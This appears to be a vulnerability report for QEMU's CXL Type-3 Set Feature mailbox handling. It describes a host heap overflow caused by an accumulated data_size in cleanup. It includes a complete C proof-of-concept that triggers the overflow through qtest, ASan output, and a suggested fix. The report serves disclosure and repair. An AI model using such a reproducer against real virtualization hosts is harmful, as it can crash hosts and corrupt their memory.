CXL Type-3 Set Feature cleanup can overflow host heap after repeated legal partial transfers
Description of problem
cmd_features_set_feature() tracks set_feat_info->data_size as the sum of
all copied fragments in a multipart Set Feature transfer. On completion, it
uses that accumulated value as the length for memset() on the per-feature
write-attribute object:
memset(&ct3d->rank_sparing_wr_attrs, 0, set_feat_info->data_size);That is not the same thing as the size of the valid write-attribute window.
Each fragment is individually bounds-checked with offset + len, so a guest
can repeatedly submit legal 2-byte transfers at offset 0 and keep increasing
data_size without ever increasing the written extent. When the transfer ends,
cleanup zeroes far past the feature's write-attribute object.
For rank_sparing, the write object is only:
typedef struct CXLMemSparingWriteAttrs {
uint16_t op_mode;
} QEMU_PACKED CXLMemSparingWriteAttrs;On current master, a qtest-based reproducer can:
- start a
rank_sparingSet Feature transfer - send many legal
CONTINUErequests, all with offset 0 and a 2-byte payload - send
FINISH
Each request passes the existing bounds checks, but data_size grows by 2
every time. At FINISH, cleanup calls memset() with the accumulated byte
count and overruns the host heap allocation backing CXLType3Dev.
This is a host-side bug in QEMU. On ASan builds it aborts with a heap-buffer-overflow. On non-ASan builds it is at least a host DoS, and the same logic can also zero adjacent feature state before it reaches the object boundary.
Affected area
hw/cxl/cxl-mailbox-utils.c- CXL Type-3 device mailbox Set Feature handling
- confirmed on current master-style tree:
QEMU emulator version 11.0.50 (v11.0.0-269-gaa15257174-dirty)- local tree used for confirmation contained Bug 1's earlier bounds fix and still reproduced this cleanup overflow
Why this is reachable
The input sequence uses only legal mailbox requests:
INITIATEwith offset 0, 2 data bytes- many
CONTINUErequests with offset 0, 2 data bytes FINISHwith offset 0, 2 data bytes
The current code validates each fragment against:
if (end_offset > sizeof(ct3d->rank_sparing_wr_attrs)) {
return CXL_MBOX_INVALID_PAYLOAD_LENGTH;
}Since end_offset is always 2 here, every fragment is accepted. The problem
appears later when cleanup uses cumulative bytes copied rather than the maximum
written extent.
Steps to reproduce
Build QEMU with AddressSanitizer:
mkdir build-asan && cd build-asan
../configure --enable-sanitizers --target-list=x86_64-softmmu
make -j$(nproc)Compile the attached reproducer:
gcc -O2 -Wall -Wextra -o qemu-cxl-rank-sparing-cleanup-oob-poc \
qemu-cxl-rank-sparing-cleanup-oob-poc.cRun it against the ASan build:
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 \
./qemu-cxl-rank-sparing-cleanup-oob-poc ./build-asan/qemu-system-x86_64The reproducer:
- starts QEMU with a qtest CXL Type-3 device
- enables BAR2
- sends one
INITIATE - sends 570 legal
CONTINUErequests with offset 0 and a 2-byte payload - sends
FINISH
Guest / reproducer code
File: qemu-cxl-rank-sparing-cleanup-oob-poc.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>
#define CXL_T3_BAR2 0x10000000ULL
#define MAILBOX_BASE (CXL_T3_BAR2 + 0x88)
#define PAYLOAD_BASE (MAILBOX_BASE + 0x20)
#define CMD_REG (MAILBOX_BASE + 0x08)
#define CTRL_REG (MAILBOX_BASE + 0x04)
#define STS_REG (MAILBOX_BASE + 0x10)
#define HEADER_SIZE 32
#define PAYLOAD_LEN 34
#define CONTINUES 570
static const uint8_t rank_sparing_uuid[16] = {
0x34, 0xdb, 0xaf, 0xf5, 0x05, 0x52, 0x42, 0x81,
0x8f, 0x76, 0xda, 0x0b, 0x5e, 0x7a, 0x76, 0xa7,
};
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void xwrite_all(int fd, const char *buf, size_t len)
{
while (len) {
ssize_t n = write(fd, buf, len);
if (n < 0) {
if (errno == EINTR) {
continue;
}
die("write");
}
buf += n;
len -= n;
}
}
static void qtest_cmd_reply(int fd, char *reply, size_t reply_sz,
const char *fmt, ...)
{
char cmd[256];
va_list ap;
size_t off = 0;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
xwrite_all(fd, cmd, strlen(cmd));
xwrite_all(fd, "\n", 1);
while (off + 1 < reply_sz) {
ssize_t n = read(fd, &reply[off], 1);
if (n < 0) {
if (errno == EINTR) {
continue;
}
die("read");
}
if (n == 0) {
fprintf(stderr, "qtest socket closed after command: %s\n", cmd);
exit(1);
}
if (reply[off] == '\n') {
reply[off] = '\0';
break;
}
off++;
}
if (strncmp(reply, "OK", 2) != 0) {
fprintf(stderr, "unexpected qtest reply for %s: %s\n", cmd, reply);
exit(1);
}
}
static void qtest_cmd(int fd, const char *fmt, ...)
{
char cmd[256];
char reply[256];
va_list ap;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
qtest_cmd_reply(fd, reply, sizeof(reply), "%s", cmd);
}
static uint64_t qtest_readq(int fd, uint64_t addr)
{
char reply[256];
unsigned long long val = 0;
qtest_cmd_reply(fd, reply, sizeof(reply), "readq 0x%llx",
(unsigned long long)addr);
if (sscanf(reply, "OK 0x%llx", &val) != 1) {
fprintf(stderr, "failed to parse qtest reply: %s\n", reply);
exit(1);
}
return val;
}
static void make_file(const char *path, off_t size)
{
int fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0600);
if (fd < 0) {
die("open backing file");
}
if (ftruncate(fd, size) < 0) {
die("ftruncate");
}
close(fd);
}
static pid_t spawn_qemu(const char *qemu, const char *sock_path,
const char *mem_path, const char *lsa_path)
{
pid_t pid = fork();
if (pid < 0) {
die("fork");
}
if (pid == 0) {
char *argv[] = {
(char *)qemu,
"-machine", "q35,cxl=on,accel=qtest",
"-display", "none",
"-nodefaults",
"-monitor", "none",
"-serial", "none",
"-qtest", NULL,
"-object", NULL,
"-object", NULL,
"-device",
"cxl-type3,bus=pcie.0,persistent-memdev=cxl-mem0,lsa=lsa0,id=pmem0",
NULL,
};
char qtest_arg[256];
char mem_arg[512];
char lsa_arg[512];
snprintf(qtest_arg, sizeof(qtest_arg), "unix:%s", sock_path);
snprintf(mem_arg, sizeof(mem_arg),
"memory-backend-file,id=cxl-mem0,mem-path=%s,size=256M",
mem_path);
snprintf(lsa_arg, sizeof(lsa_arg),
"memory-backend-file,id=lsa0,mem-path=%s,size=1M",
lsa_path);
argv[11] = qtest_arg;
argv[13] = mem_arg;
argv[15] = lsa_arg;
execvp(qemu, argv);
perror("execvp");
_exit(1);
}
return pid;
}
static void load_payload(int fd, const uint8_t *payload, size_t len)
{
size_t i;
for (i = 0; i < len; i++) {
qtest_cmd(fd, "writeb 0x%llx 0x%02x",
(unsigned long long)(PAYLOAD_BASE + i), payload[i]);
}
}
static uint16_t submit_set_feature(int fd, uint8_t flags, uint16_t offset,
uint8_t data0, uint8_t data1)
{
uint8_t payload[PAYLOAD_LEN];
uint64_t sts;
memset(payload, 0, sizeof(payload));
memcpy(payload, rank_sparing_uuid, sizeof(rank_sparing_uuid));
payload[16] = flags;
payload[22] = 1;
payload[24] = offset & 0xff;
payload[25] = offset >> 8;
payload[HEADER_SIZE] = data0;
payload[HEADER_SIZE + 1] = data1;
load_payload(fd, payload, sizeof(payload));
qtest_cmd(fd, "writeq 0x%llx 0x%llx",
(unsigned long long)CMD_REG,
(unsigned long long)(((uint64_t)PAYLOAD_LEN << 16) |
(0x05u << 8) | 0x02u));
qtest_cmd(fd, "writel 0x%llx 0x1", (unsigned long long)CTRL_REG);
sts = qtest_readq(fd, STS_REG);
return (sts >> 32) & 0xffff;
}
int main(int argc, char **argv)
{
char tmpdir[] = "/tmp/cxlbug2XXXXXX";
char sock_path[256];
char mem_path[256];
char lsa_path[256];
struct sockaddr_un addr;
struct pollfd pfd;
int server_fd;
int conn_fd;
pid_t pid;
int status;
uint16_t rc;
int i;
const char *qemu = argc > 1 ? argv[1] : "qemu-system-x86_64";
if (!mkdtemp(tmpdir)) {
die("mkdtemp");
}
snprintf(sock_path, sizeof(sock_path), "%s/qtest.sock", tmpdir);
snprintf(mem_path, sizeof(mem_path), "%s/mem0.bin", tmpdir);
snprintf(lsa_path, sizeof(lsa_path), "%s/lsa0.bin", tmpdir);
make_file(mem_path, 256 * 1024 * 1024);
make_file(lsa_path, 1024 * 1024);
server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (server_fd < 0) {
die("socket");
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
if (strlen(sock_path) >= sizeof(addr.sun_path)) {
fprintf(stderr, "socket path too long\n");
return 1;
}
memcpy(addr.sun_path, sock_path, strlen(sock_path) + 1);
unlink(sock_path);
if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
die("bind");
}
if (listen(server_fd, 1) < 0) {
die("listen");
}
pid = spawn_qemu(qemu, sock_path, mem_path, lsa_path);
conn_fd = accept(server_fd, NULL, NULL);
if (conn_fd < 0) {
die("accept");
}
qtest_cmd(conn_fd, "outl 0xcf8 0x80000818");
qtest_cmd(conn_fd, "outl 0xcfc 0x%08x", (unsigned)CXL_T3_BAR2);
qtest_cmd(conn_fd, "outl 0xcf8 0x8000081c");
qtest_cmd(conn_fd, "outl 0xcfc 0x00000000");
qtest_cmd(conn_fd, "outl 0xcf8 0x80000804");
qtest_cmd(conn_fd, "outl 0xcfc 0x00000002");
rc = submit_set_feature(conn_fd, 0x01, 0, 0x11, 0x22);
fprintf(stderr, "initiate rc=0x%x\n", rc);
if (rc != 0) {
return 1;
}
for (i = 0; i < CONTINUES; i++) {
rc = submit_set_feature(conn_fd, 0x02, 0, 0x33, 0x44);
if (rc != 0) {
fprintf(stderr, "continue[%d] rc=0x%x\n", i, rc);
return 1;
}
}
fprintf(stderr, "sent %d CONTINUE transfers\n", CONTINUES);
rc = submit_set_feature(conn_fd, 0x03, 0, 0x55, 0x66);
fprintf(stderr, "finish rc=0x%x\n", rc);
pfd.fd = conn_fd;
pfd.events = POLLIN | POLLHUP | POLLERR;
poll(&pfd, 1, 1000);
if (waitpid(pid, &status, WNOHANG) == 0) {
fprintf(stderr, "QEMU is still alive after finish.\n");
kill(pid, SIGTERM);
waitpid(pid, &status, 0);
} else if (WIFSIGNALED(status)) {
fprintf(stderr, "QEMU terminated by signal %d\n", WTERMSIG(status));
} else if (WIFEXITED(status)) {
fprintf(stderr, "QEMU exited with status %d\n", WEXITSTATUS(status));
}
close(conn_fd);
close(server_fd);
unlink(sock_path);
unlink(mem_path);
unlink(lsa_path);
rmdir(tmpdir);
return 0;
}ASan output
==3159807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b7bd4fff380
WRITE of size 1144 at 0x7b7bd4fff380 thread T0
#0 __interceptor_memset
#1 cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1961
#2 cmd_features_set_feature ../hw/cxl/cxl-mailbox-utils.c:1706
#3 cxl_process_cci_message ../hw/cxl/cxl-mailbox-utils.c:4642
#4 mailbox_reg_write ../hw/cxl/cxl-device-utils.c:209
0x7b7bd4fff380 is located 0 bytes to the right of 7101312-byte region
[0x7b7bd4939800,0x7b7bd4fff380)
allocated by thread T0 here:
#0 __interceptor_malloc
#1 g_mallocThe reproducer also confirms the fixed behavior: after changing cleanup to use
the maximum written extent instead of the accumulated byte count, the same PoC
returns finish rc=0x0 and QEMU stays alive.
Suggested fix
Track set_feat_info->data_size as the maximum written extent:
set_feat_info->data_size = MAX(set_feat_info->data_size,
(size_t)end_offset);instead of incrementing it by bytes_to_copy for every fragment.
That keeps cleanup bounded to the actual write-attribute window and preserves the existing transfer model without widening the change into the rest of the mailbox transport.